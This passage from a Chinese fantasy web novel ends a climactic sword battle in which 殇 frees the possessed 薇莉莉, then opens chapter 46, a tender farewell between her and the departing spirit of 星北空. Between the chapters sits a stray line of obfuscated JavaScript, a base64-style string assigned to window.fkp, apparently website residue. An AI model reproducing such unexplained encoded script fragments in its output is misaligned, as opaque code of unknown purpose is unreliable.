最后收尾,杀戮者高举手中的刀,改为双手持握。她汇聚全部能量,对着殇猛地挥出一刀。无数把虚空之刃突然突然出现,在她的带领下对着殇猛砍。一刀化作百八十刀,最致命也是最简答的杀招。殇用斩星招架,只能招架下杀戮者的那一刀,而其他虚空之刃的助攻他则选择去闪避,毕竟一剑难敌百刃,打不过跑还是跑得过的。杀戮者三刀下去,殇依然是安然无恙,这可给杀戮者气坏了。 最后时刻,杀戮者一个健步来到殇身前,疯狂且无序地对着殇猛砍。虚空之刃们也在此刻助攻她,和她一起猛烈攻击。殇边招架边后撤,杀戮者飞速去追击。这个阶段,殇被虚空之刃砍中好几下,但都没有杀戮者之前那一刀伤害大。渐渐地,虚空之刃的数量越来越少,但杀戮者的攻击欲望仍然不减。她的攻击从正面猛攻改成了多面一体,但即使是多方进攻殇,殇的攻击也依旧与她不分上下。得益于虚空之刃的助攻,殇很快就全身伤痕累累,但殇的攻击仍是那么迅速、那么有力。 在虚空之刃完全消失的时候,她的攻击速度也稍慢了一些。就是这一些,让她露出了致命的破绽。殇抓住这破绽,连续几剑给杀戮者逼退,还给她破招了。殇急速汇聚能量于剑锋之上,燃烧着的银河迸发出温暖的星光。汇聚完能量的瞬间,殇使出了一记收尾技。 殇和星北空: “就是现在!星光进击斩!” 殇甩动斩星,连续砍出绝命七刀。每一刀挥出之时,星光都会在杀戮者的头顶挥出,拼凑成一个又一个耀眼的汉字。 一刀突进横扫。“扫”。 两刀斜向斩击。“挑”。 三刀突进回旋斩击。“破”。 杀戮者挡下了前两刀,因为想预判殇的攻击,因而错过了机会,所以被第三刀打破招了。强者战斗一旦破招,若不能即使挽救就是大概率落败。很可惜,杀戮者没来得及恢复状态,就被第四刀打得彻底破招。 四刀冲锋突刺。“碎”。 五刀、六刀x形斩杀。“决”,“败”。 七刀突进横扫。“斩”。 最后一剑,一只温热的手交会在一只虚无缥缈的手一起,一同握住斩星的剑柄。这一剑,两颗灵魂齐心协力,用彼此最大的力量斩出的。剑锋划过杀戮者的身躯,撕裂出一道巨大的伤口。血滴凝结成华,以飘逸的姿态轻轻地飞出,无声无息地落入满目疮痍的土地。殇感受到了,来自灵魂深处的不和谐。那是心痛的滋味,是来自星北空灵魂深处的不愿。 杀戮者后撤数步,身体后仰险些倒了下去。她将大刀插在地面上,扶着刀柄才稳住身体。殇见她如此,拿着剑慢慢走了过去。离她有十步之时,停下脚步去凝视她。 杀戮者喘着粗气,浑身颤抖着,她身上的红色闪电不再躁动,且数量越来越少。她一脸不甘地低下了头,苦笑了几声,然后笑得越来越疯癫。笑过,她露出愤怒的表情,咬牙切齿的,而且狠狠瞪着殇,好像那股疯狂和偏执仍未消散。杀戮者阴笑着说: “哈,哈哈,哈哈哈哈!你打败了我,对吗?不可能的!绝对不可能的!我可是堂堂圣望者,怎会败给你这样的凡夫俗子。凭什么?凭什么?!即使是获得了这样强大的力量......也逃不过宿命之手的玩弄吗?” 殇静静地看着她,手握斩星等待她说完。一个战士,两个灵魂,都在注视着她。斩星的剑锋闪烁着逐渐暗淡的星光,一颗灵魂正在痛苦挣扎着,虚无正在侵蚀它,记忆正在飞速消逝。一幕一幕,消失在他的记忆中,只留下了无意义的空白。 杀戮者继续说: “来呀!别搁那傻站着!只要我还有一口气,战斗就绝不会停止。我会继续战斗,为了他,为了我想守护的人,为了......我自己。就是死,我也要拉着那些罪人们一起......下地狱!!!” 杀戮者抡起大刀,以生命为能量,准备释放出自杀式绝技。 杀戮者: “杀戮玫瑰......绽放!” 星北空检测到了这条信息,他急忙通过斩星转告给了殇。知道这消息的时候,殇愤怒了。殇用剑锋指着杀戮者,大声喊道: “够了!闹剧该结束了!” 说完,殇挥动斩星,一个健步来到杀戮者面前,对着杀戮者挥出一剑。杀戮者见此,也对着殇挥出一刀。两人同时出手,看来又是一场不可避免的较量。但,有一股力量介入了其中。 这时,杀戮者眼前的景象凝固住了,仿佛是时间在此刻静止了一样。接着,她视线模糊了,一时看不清眼前的事物。不一会,她又能看清楚了。她眼前突然白茫茫的一片,片刻后一个熟悉的身影出现在了她的眼中。一位蓝头发的绅士,带着温柔的笑容迎面向她走来。再次见到他的瞬间,她呆呆地杵在原地,整个人一愣一愣的。 “姐。” 杀戮者难以置信地看着他,一时之间都忘记了该做什么。再度与他重逢,杀戮者不知道给说些什么好。杀戮者伸出手,轻声问他: “是你吗?星北空。” 她激动地热泪盈眶,心里有千言万语想对他说。她不知道该去讲些什么,她嘴笨,不会说那样好听的话。 “请原谅我......” 他变出一把宝剑,对着杀戮者狠狠地砍去。杀戮者见到这种情况,害怕地用手挡住头。但剑刃并没有落在她的身上。她放下手,看到一面镜子在她眼前破碎。镜片碎片与光线的交点,是现实与虚幻的界限。透过那道界限,杀戮者看到了殇。 杀戮者这一刀没有挥出。殇趁机一剑挥出,狠狠地砍在了杀戮者的身上。杀戮者见了,握紧刀柄,准备还击。但突然,殇和身影与他的身影重合在一起,随后她眼中的殇变成了他。她不忍下手,松开了握着刀柄的手。 现实与虚幻相交刹那,而后飞速分离。薇莉莉此刻抬起头来,发现眼前是一片漆黑的狱。她看了看周围,又看了看自己。突然,她身上挂着许多条黑色锁链。她用力去扯,但锁链怎能轻易被徒手扯开。尝试无果后,她陷入了急躁与忧虑之中。这时,她抬头看向天空,一只巨大的血红之眼正凝视着她。她对着那只眼竖了个中指,以表自己的不满。那只眼眨了一下,似乎是在回应她的行为。 这时,拿着宝剑的他向她跑来。见到他,她高兴地笑了,心里别提有多激动了。他挥舞着宝剑,斩断了她身上的一根锁链。现实与虚幻再次相交,他和殇的身影重合在一起。 殇对她砍出一剑,她踉跄着后退。他对着那些锁链砍出一剑,那些锁链颤动着断开。殇向左甩动斩星,漆黑战甲崩裂破损。他向左甩动斩星,断掉她右边的锁链。殇向右甩动斩星,甲胄崩解碎片四散。他向右甩动斩星,断掉她左边的锁链。 几剑之后,杀戮者伤痕累累,连挺直腰板都很费劲。此刻,天上的穹顶不稳定的颤动,这场战斗即将迎来尾声。殇握紧手中的斩星,汇聚能量,准备一招结束这场闹剧。 几剑之后,锁链全部断开,她终于重获自由。偏执与仇恨不再支配她,私念与力量不再影响她。无垠大将军的引导,在此刻全然失效。 黎明在她眼前升起,希望的曙光洒满大地。黎明的曙光照耀着她,她感觉生活拥有了意义。如春光普照大地,希望在她心中滋生出绚丽的花朵。如光明驱赶黑暗,希望点燃了她心中那棵朽木以及它腐烂的根。 杀戮者站在殇的面前,颤颤巍巍地发愣。现实之中,她即将落败。 薇莉莉站在他的面前,热泪盈眶地发愣。幻境之中,她感动至深。 殇向前突进,杀戮者呆呆地看着,站在原地不动。 他慢慢走来,薇莉莉呆呆地看着,不知说什么好。 一把利剑刺穿她的战甲,紧接着刺入她的胸膛。斩星上燃烧着的星云烈焰悄悄熄灭,这一剑的威力被降到了最低。那抹浩瀚的银河化成无数星尘,接触她的瞬间飘散在空中。点点星光落在剑锋上,顺着锋刃汇聚在一起。一股温暖的能量,无声无息地涌入她的身体。那股能量强大至极,但每一次移动都是温柔的。它温暖地拨开笼罩在她核心上的阴霾,它将所有束缚她的锁链全部撕碎,它征服她体内的暴走能量为她取得了控制权。最后,它用所剩的全部为她治疗伤口。 他走步上前,紧紧地抱住了薇莉莉。薇莉莉见他这样,也紧紧地抱住了他。两人相拥,彼此都在流泪。热泪流过他们的脸颊,真情流露出他们的心房。两人没有过多的话语,只是紧紧地抱着对方。这次拥抱是在幻境,终究是虚无缥缈的。两人多希望这是现实啊! 星北空: “姐。你一定要多保重,好好地生活下去。生命的意义,就在这忙碌的过程之中啊!你是像玫瑰一样的女人,是注定要绽放的。” 薇莉莉“” “星北空,别再说了!再陪我一会吧......我知道你要走了。” 星北空: “抱歉......请原谅我,姐。” 星北空抱紧薇莉莉,一个转身跟她换了位置。星北空用力将她推开,撒手告别他深爱的姐。深情的一眼,两人都注视着彼此。那一眼之后,星北空握紧宝剑,向着他面前的巨像奔去。他一个健步飞跃到半空之中,高举宝剑用力劈向了巨像。全力的一剑,巨像一分为二,随即如烟火一般爆炸。这是她见过最美丽的烟火,因为这烟火之中有着飘散的星尘。他的身影同那巨像一起消失,也变成那烟火之中的一部分。 薇莉莉: “星北空......谢谢你......” 代码0的力量此刻完全属于薇莉莉,无垠大将军再也无法侵入薇莉莉的意识,就是连检测薇莉莉的存在都做不到!无垠军团复兴的计划又搁置了下来,无垠大将军无语了。他只能收起那份欲望,继续在虚空里等待。他想,过不了多久,就会有更多的人被他所吸引。毕竟在绝对的力量面前,再聪明的人也抵挡不住其诱惑。 面具破碎,战甲崩解,薇莉莉狼狈倒地,陷入昏迷。刺入她胸膛的斩星,在她倒地那一刻破碎。斩星化成无数片金色的星尘,带着光明与温暖飘向了天空。其中有几片星尘依依不舍着,留恋这片美丽的土地。它们没有选择回归星河,而是选择留在人间。 看着这番景象时,殇再也感受不到他的存在了。那份星辰的力量,已经随着那些星尘一起,消散了...... 殇叹了口气,很惋惜地说: “你走了,走得如此突然,连句道别都没有。也许是没时间说吧......你匆匆地来,又匆匆地走。真像个过路客啊......” 那几片星尘化作能量,悄悄地融入薇莉莉的身体。几个黑点出现在她的皮肤上,如鱼儿一样向着一个方向游动。在她的右手小臂外侧,那几个黑点汇聚在一起,构成了一个独特的纹身。一把斩破星辰利剑,一朵环绕着利剑生长玫瑰,几颗星在旁边守候,那朵玫瑰在星光下绽放。 黑色天穹消失了,那把大刀化成核心能量,涌回了薇莉莉的核心。阳光重新照在他们身上,宣告他们是胜利者。这一切终于迎来了落幕,让人心烦意乱的日子终于告一段落。殇伟岸的身躯变得颓唐些许,他坐在地面上,抬头看着天。他的确是赢了,但他却失去了很多东西。 他看向自己的手,上面还有着几滴鲜血。星北空之前跟他说的话已经告诉了殇结局如何。星北空早在他赶来救场之前,就已经死了。他最后还是没能救下星北空,他还是没能守护住这对灵魂伴侣。殇握紧拳头,过了一会又慢慢松开。往事如云烟一般,悄悄地飘走了。殇除了仰望与回望,也做不了什么了。 殇叹了口气,说: “事已至此,愤怒又有什么用呢?已经逝去的不就再也回不来了吗?我们能做的,只有期待明天喽!” 这时殇想到了之前恩奉婆婆给自己看的牌。突然间,殇明白了那两张牌真正的含义。原来,这一切早就有了预兆,可他发现的太迟了。也许这就是为什么前世的预言只能在后世灵验的原因吧。殇叹了口气,就当一切都已经过去。他继续说道: “挺羡慕你小子的......能为了所爱的人光荣且无私地死去,当个无名的英雄。那样一生,注定是以华丽收尾,尽管它本不完美。再见了,星北空。认识你小子真好......” 这时,伊跑了过来。伊见到薇莉莉倒在地上,急忙上前检查了下薇莉莉的生命体征。呼吸与心跳检查完,薇莉莉还有生命体征。伊松了口气,说道: “万幸薇莉莉没事。” 伊的此番举动完全无视了一旁的殇。殇见了,笑着调侃道: “伊,我都这样了你还要先去关心她吗?你可真是我的‘好女儿’啊!你说是不是?” 伊一听,赶忙解释道: “不......不是这样的!我......” “不用解释了!你的意思我明白。” “抱歉,殇。你没事吧......” “没事。嗨呀,看样子,你是默许了我说的话。” “嗯。嗯?不对劲......等下,殇!” “才反应过来?你这脑子确定不是猪脑子?” “殇,你太坏了!这种情况还要占我的便宜。” “什么叫占便宜?我这叫阐述事实。” “哼,不理你这个坏家伙了。” “别介!” 就在这时,伊的周围再次出现了奇异的光芒,光之种子与光之碎片建立了链接。奇异的光芒照在伊的身上,无数发光的光点环绕着伊。突然,这些光点离开了伊,全都汇聚在薇莉莉的身上。突然间,一道耀眼的光芒出现,接着,殇和伊的眼前出现了薇莉莉的内心世界。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第四十六话:誓卫一切的决心 明媚的阳光普照一片孤独的田野,这里的每一寸土地都沐浴在阳光下。如海一样蓝的天空,几朵白色小云正懒洋洋地飘着。看它们的样子,想必它们正享受着身旁的美好吧。清风悄悄到来,无声无息。它漫步在大地,轻抚过绿茵,不留下惹人注意的痕迹,不发出一点吵闹的声音。它极力维护宁静,因为宁静是孤独最佳的伴侣。这片田野是孤独的,它也一样。它渴求热闹,但也享受安宁。太阳正悠闲地在天上走着,它正温柔地给予这片土地力量。默默而又无私,值得歌颂值得赞扬。今日又是佳日,是最该出门走一走的。但少有人抽出时间来出门走走,因为他们忙着,或者懒着。 但幸运的,这片田野今天不会孤独了。一个陌生的闯入者来到这里,她是来寻求安宁的。她的闯入无声无息,但吸引了风的注意。风迎面向她吹来,吹动她迷茫的心灵。她一头轻柔的红发垂涎而下,风一吹就轻轻飘动起来,如春佳时节的垂柳,惹人注意又显得朴实无华。她本来的衣着在风中变化,猎人本色慢慢被花季之美所取代。洁白的长裙穿着在身,漂亮的花环亲吻额头,悄悄地戴在头上。一位红发天使悄然出现,这是一位没有翅膀的、平凡而美丽的天使。 她漫步在这片田野中,走的是一条别样的小路。路的两旁是鲜花与绿草,路的中央也是绿草,路的远方是天空。走在这样的小路上,别有一番惬意。沐浴阳光、呼吸清新的空气、赏着花儿望着天,仿佛一切的苦恼都烟消云散,仿佛天永远是那么蓝。如梦如幻,每一寸都透露着希望与梦想。伸出手,用力抓住,仿佛下一刻眼前只剩黑暗。越是生活在残酷之中,越是不敢相信美好,就怕美好消逝的时候,会哭得更要凄惨。 走着走着,她突然停下,去观望路旁的小草。阳光下,草儿的叶是一抹独特的绿,绿中带有些淡淡的香气,那是生命的气息。草儿很多,放眼望去满目绿茵。惹得她最先注意的,是这些普通的草,但惹得她真正注意的,则是那些花。 她俯下身去看,草又是另一番样子。放眼望去尽是绿茵,可俯下身去仔细去看时,那隐藏在绿荫之下的黄斑、泥泞和裂口就显露了出来。她看了诸多的草,只能挑出凑合的几株。每株草都有很多不足,没有一株是完美的。就是这么平平无奇,却生长得如此旺盛。它们的生与死都是默默的,远不及花绚烂的一生。它们努力地生长着,就像人们努力地活着。它们的生是无言的磅礴,死是寂默的霸气。 她站起身来,继续走着。过了一会,她又突然停下。这次她是为一朵玫瑰所停留。在这广阔而单调的绿色海洋之中,这样一朵艳丽的玫瑰自然是比较引人注目的。她走到这朵玫瑰前,俯下身去欣赏。同样的土地,有的种子长大了是普普通通的草,有的种子长大了是高贵艳丽的玫瑰。这种反差很奇妙,似乎是这是不公平的,它们生下来就是这样。仔细想来,草本就是草,花本就是花,生下来也都是这原野中的一员,是同样重要的存在。 思来想去,那所谓的高贵与平凡,也不过是人赋予的罢了。若这片原野之上全是玫瑰,唯有一根绿草,那草也会被赋予高贵之名。花与草其实都平凡着,它们的根深深地扎在普通的土地上,生而普通,死亦普通。若没人去发现,去赋予,它们何来的高贵与普通呢?都是植物,都是活着的,都是这土地所滋养的孩子,无非一个叫花,一个叫草。玫瑰的美,在乎一生,最美不过绽放。绿草的美,在乎平凡,最美即是一生。因为平凡,所以盛开时才有美的冠名;因为平凡,所以活着才是美的样子。 她站起身来,转头望向天边。太阳慢慢下潜,已是一般埋入了地平线。天边的云彩是金黄的,落日的余晖是耀眼的。太阳落下,夜幕到来,漫天的星河悄悄浮现出来。她望着天上的星河,不由得浮想联翩。星辰很美,美得让人沉醉其中。凝望着星辰,星辰下的她享受着它的璀璨、浩瀚。浮想联翩是难免的。看着星辰,总能想起过去。曾走过的人、曾遭遇的事、曾得到的、曾失去的、爱的恨的......以及那难忘的、已逝去的伴侣。 她对着星辰伸出手来,傻傻地想要触碰它、抚摸它。但星远之超过千里,所望而所不及。她痴痴地凝望星辰,眼眸中都是星辰的影子。她第一次觉得星辰能如此美丽。也许是在经历了沧桑之后,她才是真正意识到的吧。欣赏星辰之时,她用心灵对星辰说起了话。星辰用闪烁的星光回应她,像位真诚的倾听者一样默默倾听,及时回应。 “姐。” 一声亲切的问候从她背后传来。她愣了一下,难以置信地转过了头。天上陨落下点点星尘,柔柔的星光环绕着星尘落下。星光下汇聚,重现她心念之人的样子。似乎是星辰听懂了她心。 星北空用星尘变出一朵玫瑰,拿着这朵玫瑰迈步走向了她。她很惊喜,没有料到竟还能有与他再见面的时候。她笑了笑,也迈步走向了他。两人走近彼此,用笑容向对方打招呼。 星北空: “姐,这朵玫瑰,还请你收下。” 他递出玫瑰。她露出感激的笑,轻轻地从他手中拿过,举止没有原先的野蛮,像个淑女。她拿起玫瑰,闭上眼睛嗅了嗅。花香如空气一样,是那种温暖的空气;几分香浓顺风进入心房,无味胜有味。感受花香时的愉悦,她感受深切。失去花香的玫瑰,也依然是玫瑰。 薇莉莉: “星北空,谢了。这花是挺香的,就是没味道可闻。这是不是伪劣产品呀?伪劣到都没味道了!我猜,这朵花应该一文不值吧,毕竟连味道也没有,挺独特的。也对,这破玩意不是贵的吓人就是便宜的离谱。你呀......就能跟我扯这些有的没的。不愧是你!” 薇莉莉笑了,笑得如以前一样,瞬间又不像个淑女了。他也笑了,笑得也如以前一样,始终是那么优雅。星光照耀下的薇莉莉很美,美若天仙、胜过天使。 星北空: “你真美啊,姐。” 被他夸了之后,薇莉莉竟有些害羞,不知该怎么回应。薇莉莉想用强硬的态度去回应,又觉得不大合适,一时陷入沉默。 薇莉莉: “呃......” 星北空: “姐,也许你该说‘谢谢夸奖’之类的话?” 薇莉莉瞬间收起笑容,表情又变得严肃起来。薇莉莉的目光聚焦到他身上,似乎是在瞪着他。薇莉莉一脸坚定的样子,如之前如出一辙,但眼神之中明显多了几分温柔,他能看得出来。 薇莉莉: “不用你教!” 这句话薇莉莉特意大声去说。这种时候,她还始终去坚守她那份坚强与骄傲。她很好面子,这个时候也是一样。 薇莉莉: “别以为你夸我我就会对你网开一面。无论到了那里,只要我还是你的老大,你要惹到我不高兴了,我会好好修理你小子,明白吗?” 眼神是不会骗人的,薇莉莉的伪装被他一眼识破。薇莉莉的这番话非但没让他如往常一样闭口沉默,反而让他露出笑容来。 星北空: “姐,你还是老样子啊。一尘不变的刀子嘴豆腐心......” 薇莉莉: “喂!你是不是又欠揍了?话别说的那么直白,知道意思得了!” 他今日不如往日,他对薇莉莉不再极力附和。两人之间的身份关系发生了改变,他是站在了朋友这一角度与她聊天。这是他第一次敢这么对她说话,同时也是最后一次。 星北空: “哈哈哈。姐,你这样挺有活力的,看来是恢复得很好。你能好过来,我挺高兴的。” 薇莉莉: “那可不是!我的身体现在可棒得很呢。有药啥病治不好啊?哦,说起药,我还得谢谢你呢,要不是你我还活不下去呢。算我......欠你个人情吧。以后有时间了......以后......” 说到此处,薇莉莉的眼神变得有几分难过。事实就摆在她的眼前,她始终要去直面。她也能猜到,自己面前的他,无非是他幻想出来的罢了。这一切都只是梦一场,他早就死了,她亲眼目睹了那一切。 星北空: “姐,谢谢的话就不必多说了。你一向要强,说多了不也抹不开面子吗。你能在心里记得就足够了,毕竟我这么做是为了你吗。” 平平无奇的一段话,却说的她心中暖暖的。他总是那么温柔,总是会为人着想几分。他总是那么懂她。 星北空: “你活着,就是我认为最完美的结局了。起码我失去了一切,还能有几个留得住的人在啊。你、萌萌、大家......都还在,都活着。黎明升起时,曙光能洒在你们身上;黄昏到来时,余晖能留在你们身上。我身已死,但灵魂永生。这样的景象,正是我所期望的。” 薇莉莉的眼角有泪珠在打转,那是感动的泪水。她强忍着没让泪水流下,怕在他面前出丑,毕竟她还信奉着战士的信条,无论何时都不能轻易流泪。她挤出笑容来展现自己的坚强,用平淡的话语来舒缓自己的情绪。 薇莉莉: “喂!别说的那么煽情,整得我都有点难过了。” 他对薇莉莉露出一抹淡淡的微笑,一辈子的遭遇与牵挂就此放下。看着她这张熟悉的面孔,他倍感亲切。他的眼角也有泪珠在打转,他悄悄用星尘将其拂去,他也怕在她面前出丑。 星北空: “别因为我而伤心难过,姐。” 薇莉莉: “伤心?你觉得我会因为你而伤心?你想太多了。堂堂女战士,怎能轻易落泪呢?别看我,我那只是风吹的。才不是感动呢......” 一句话的功夫,一滴热泪悄悄从她眼角流出,一个眨眼滴落在洁白的长裙上。星光绚烂,她眼角的泪花中有星辰的影子。星河舞转,泪滴中星辰也在舞转着。凝视着他的眼,她看到的是温柔与期望,还有那最纯真的善良。凝视着她的眼,他看到的是希望,不灭的希望。 星北空: “姐,生死乃是人间常事,人终有一死。生命短暂,认清现实,坦然面对每一天的挑战。生活,不就是这样么?我不过是做了和你一样的事,决心守护我爱的人罢了。换做是姐你,也会跟我做出同样的事吧,毕竟我们都有一颗炽热的心,都希望所爱之人的好。” 她点头赞同,但心底依旧是舍不得他。突然失去身旁的好友,她短时间内难以接受。即便她曾失去了那么多,但她的心也不曾麻木过。失去时的痛苦,还是那样让她夜不能寐。 薇莉莉: “说得好,我赞成。的确,我们两个确实很相像,都想守护好身边的一切,可总是力不从心。我们彼此都为此失去太多了......” 星北空: “可我们直至最后不还是再坚持吗?即便命运无情、即便前路艰难、即便我们本不强大,但我们仍默默地坚守在这里。我们都是普通人,没有收尾人一样的力量、没有削铁如泥的刀锋、没有强大的超能力,我们有的只有一颗如灿烂星辰一般的决心而已。只是一腔热血,一种单纯的信仰,我们就走到了今天这一步。” 他的这番话说到薇莉莉心里去了。薇莉莉感动至极,她感觉到彼此的心灵之间产生了共鸣。他所表达的意思,正是她也想表达却表达不出,或者说不知道找谁表达的意思。薇莉莉认真去倾听他的话语,期待他接下来的每一句话。那种期待,她很久没有感受到过了。 星北空: “我们不是世界的英雄,我们是我们自己的英雄。尽可能的守护身旁的所爱,即便那会让我们伤痕累累。全力而为也不一定会有满意的结果,但我们......起码尽力而为了不是吗?当我们尽力去做的时候,那份初心与热血就始终闪耀着,如星辰一样。” 他说完这些话,薇莉莉别提有多激动了。这下她心里岂止是感动,那一腔热血与激情被点燃,她感觉到一团猛烈的火焰在自己心中燃烧。当初为了家人而拼搏的志愿她还铭记在心,当初为了守护他人而奋不顾身的经历她还历历在目。血浸玫瑰之名,不正是她的决意所换来的吗?为了所爱之人,她能奋不顾身、她能舍弃一切、她能挥刀向强者。 为了守护所爱,她甘愿陷入疯狂。 感动与激动之后,薇莉莉不由得感叹。她这一生过得稀里糊涂,不知不觉二十有七。她错过很多、失去很多、迷茫过、也曾偷偷哭过。但这条路,她的的确确还在坚守着走下去。不变的步伐,始终的坚守。 薇莉莉: “星北空......我,害......认识你真好啊,我才知道你原来比我自己都懂我。这......应该叫做知己吧。男女之间,能......能存在知己吗?有纯粹友谊这一说吗?” 他如贤人一样发笑,眼神中满是对凡俗戒律的不屑。在他看来,那只是思想境界不够高远的人束缚同伴前行的绊脚石,是对野性自我的放纵与对他人之好的仇视。他不站在道德的制高点,他只是站在山顶平视众生,一视同仁罢了。接受过良好教育的他,灵魂是自由的,不局限与狭小的地域。他的眼中有着星辰,他的志向在乎星辰大海。 星北空: “哈哈哈,抛弃那些凡俗戒律吧。抬头向上看,星辰正照耀着你呢。爱星辰,就像爱一个人。尊重是前提,没有尊重就无法去谈爱。寻找伴侣而去爱,那叫爱情。为了帮协而去爱,那叫同情。为了同路而去爱,那叫友情。因为血缘而去爱,那叫亲情。” 星北空: “爱是复杂的,不确定的。纯粹的爱是无私的,没有目的的,以至于不是可以都感受不到,习以为常而心安理得。爱不是交易,也不是单纯的占有。爱是两颗灵魂相互尊重,彼此聆听对方的声音并做出回应罢了。正因如此,才有世间一段段的佳话。” 这番话,薇莉莉听得很认真。就像求学人听老师讲课一样,全神贯注而不失专注,全身心投入。这样的专注,让她回想起了自己的经历。她本人只有小学毕业的学历,与这都市里的大部分人一样。家里没钱让她继续读书,她只能提前去适应社会生活。她年纪轻轻就会了打架、处理社会事物以及杀人,读书在她眼里是一种得不到的奢求。在地平区和穹顶区的孩子读高中时,她已经是一位足够强大的女战士了。 薇莉莉: “不愧是你!能跟个老师似的给我这个啥也不懂的学生讲课。所以说,答案是什么呢?” 他深情地注视薇莉莉。一份缜密而深沉的感情,在他眼眸中悄然显现;伴随眼中星辰一起,散发出温暖的光芒。他眼神中的温柔与深情,还是那般纯洁。星辰一样的眼眸,暖水一样的心灵。真挚的情感下星光绚烂,他的心灵如明星一般闪烁,每一寸光都是温暖的。 星北空: “我对你的爱,不限于以上的所有。只是因为遇见了你,知晓彼此的音律契合如同生的双子。你真正让我下定决心的,不是你美丽的外表,也不是你传奇的名气,而是你那颗纯洁的心灵和那颗与我同样倔强的灵魂。” 星北空: “我原本是孤独的,直到遇见了你。你虽倔强、暴躁、鲁莽,但你的心却缜密又温柔。你的灵魂愿意回应我,我的灵魂也愿意回应你。尽管倔强的你故作冷漠不愿多话,但眼中的真情实感是藏不住的。” 他说的话惊艳到了薇莉莉。突然被人真情吐露内心想法的她一时不知所措,感动的同时又有些莫名的害羞。她现在想来,她在他面前故作坚强的样子让她感觉羞涩。他很懂她,比她自己都懂她自己。 薇莉莉: “哇......哇哦。这答案真是独特呢。太顶了!” 薇莉莉: “你说的很对。我从你口中学到了真谛,那是我曾执着的问题的答案。原来所谓最崇高的爱,竟是这样的吗?我一直都没有留意到啊,真是可惜。能交到你这样的真心朋友,是我八辈子的福气。” 说完这些,薇莉莉张望了一下周围,然后直勾勾地注视他。思索片刻,她冲着他露出一抹神秘的微笑,笑中带着一份细腻的温柔。 薇莉莉: “哦,对了。我还有个问题要问你。” 星北空: 请问,姐。” 薇莉莉酝酿了下情绪,又思索了片刻,组织了下语言。她遏制了下自己的情绪,不知不觉让她紧张了起来。她一紧张,脸就不自觉地泛红。组织好语言,她就问出心中想问的话。 薇莉莉: “你刚刚叨咕那么多......怎么说呢?从某种意义上来说......不对!怎么说呢?嗯......你刚刚说的那些话,可以被算得上是表白吗?” 说完这句话,薇莉莉紧张到了极点。她注视着他的脸,期待得到回应。她投来十分期待的眼神,他见了,平淡一笑。他抬头看了看天,发现星河的光芒正在暗淡。他顺着星河的方向看向天边,发现一抹淡淡曙光已经出现在天边,这预示黎明马上就要升起。那抹曙光是耀眼的,是温暖的,是属于他所爱的。他笑了,笑得格外开心、格外灿烂。 星北空: “姐,太阳要升起了,金色的黎明要到了。天边的星要走了,我也该奔赴远方了。我猜,明天应该是个大晴天。属于你的晴空,注将出现。属于你的黎明,注将升起。” 薇莉莉: “喂!你还没有回答我的问题呢。” 他露出一抹坏笑,对这个问题避而不谈,继续说着告别的话。 星北空: “姐,如果你想我了,那就仰望星空吧......我就在星辰中,默默地照耀着你呢。你是如玫瑰一样的女人,是注定要绽放的。” 说完,他就慢慢后退。得不到答案的薇莉莉,怎能善罢甘休。她立马就追了上去,拉住了他,没让他离开。 薇莉莉: “诶!别走,告诉我答案!” 星北空: “答案?我不知道啊。” 薇莉莉: “啊?!” 星北空: “答案藏在你心里呢,我从哪知道去?” 薇莉莉露出满意的笑容,同时眼角打转的热泪也在此刻流下。这个答案无论如何,她都愿意接受。这是她对过去的那个自己的道别,毕竟在领悟这一切前她一直都喜欢着他。领悟这一切之后,她被他的博爱所打动,从而将自己对他的爱上升到了与他一样的高度,视他为最好的伴侣。那份喜欢还在,不过已经不限于那狭隘的界限了。 薇莉莉: “那就是喽。” 星北空: “姐,我都说了我对你的爱不限于那些。” 薇莉莉: “你太傻了,星北空。” 薇莉莉: “谁说表白只限于情人之间?朋友之间的真情吐露,难道不算做是表白么?还是说......是你有问题。是不是?” 薇莉莉彻底展露出她最温柔的那一面,以最深情的口吻向他说着普通又深情的话。她心里那份沉淀了许久的爱意,也在此刻升华。她的笑容格外温柔、格外美丽,尽管还有泪在流淌。 星北空: “哈哈哈哈,你真可爱,姐。” 薇莉莉: “不许夸老娘可爱!” 薇莉莉一脸傲娇,他看着这样的薇莉莉发笑。他高兴地笑了,她也跟着笑了。她不知道为什么笑,只是见他笑了她就想跟着笑。这样傻傻的,跟她平常的作风完全不同。 这时,他对着薇莉莉伸出手,将星尘汇聚在手中,随后凝聚出一颗闪烁的明星。他抬起手,将这颗明星放飞到空中。明星悬在空中闪烁着,他们两人都抬起头注视那颗明星。星光洒在他们两人的身上,照耀他们两人在夜中的身影。那星光很温暖、也很耀眼,照在身上会很舒服。 星北空: “姐,你相信奇迹吗?” 薇莉莉: “相信,非常相信。” 星北空: “就让太阳,在夜空中燃烧吧。” 他对这颗明星伸出手,念叨几句话命令它。随即,那颗明星如升起的烟火一样飞上更高的苍穹。无数星尘汇聚在它身上,它所发出的星光愈发璀璨与耀眼。星尘汇聚完,一个炽热的太阳在夜空中燃烧起来。 眼前的这幅景象震撼到了薇莉莉,她瞠目结舌僵住在原地,被惊讶所洗礼,一时不知该说些什么。她呆呆地看着这个太阳,感受着它的耀眼、感受着它的温暖、感受那奇迹的光辉。他站在她的身旁,与她一同欣赏这夜空中的太阳。不经意间,她悄悄拉住了他的手。他察觉到这点,特意转头看了一眼她。她仍注视着那个太阳,痴痴的、呆呆的。他冲她笑了笑,随后转头继续去注视那个太阳。 不知不觉,这个太阳就悄悄消隐了。意识到太阳消失的薇莉莉,一时间不知所措,直到她转身看到了天边升起的旭日。再度见到太阳,她十分高兴,以为那也是他创造的奇迹。黎明的曙光洒在她的身上,无限的希望正随着曙光来到她身旁。他看到这番景象,很是欣慰与高兴。 他的身影在这曙光之中渐渐透明,天上的星河已经暗淡。他即将离去,随同这夜色一起。他即将离开人间,远赴那浩瀚星河。告别的时候不知不觉就到了,时间总是过得那么快。这次相见也许是最后一次,他的故事也即将画上句号。 斩星和光之种子所给予的能量也只能维持到这时候了。他的灵魂早就已经破碎,曾经美好的记忆都已经逝去。人死不能复生,魂破不能倒时。他最后能做的,就是尽可能的给予薇莉莉希望,让她活下去能多几分动力。 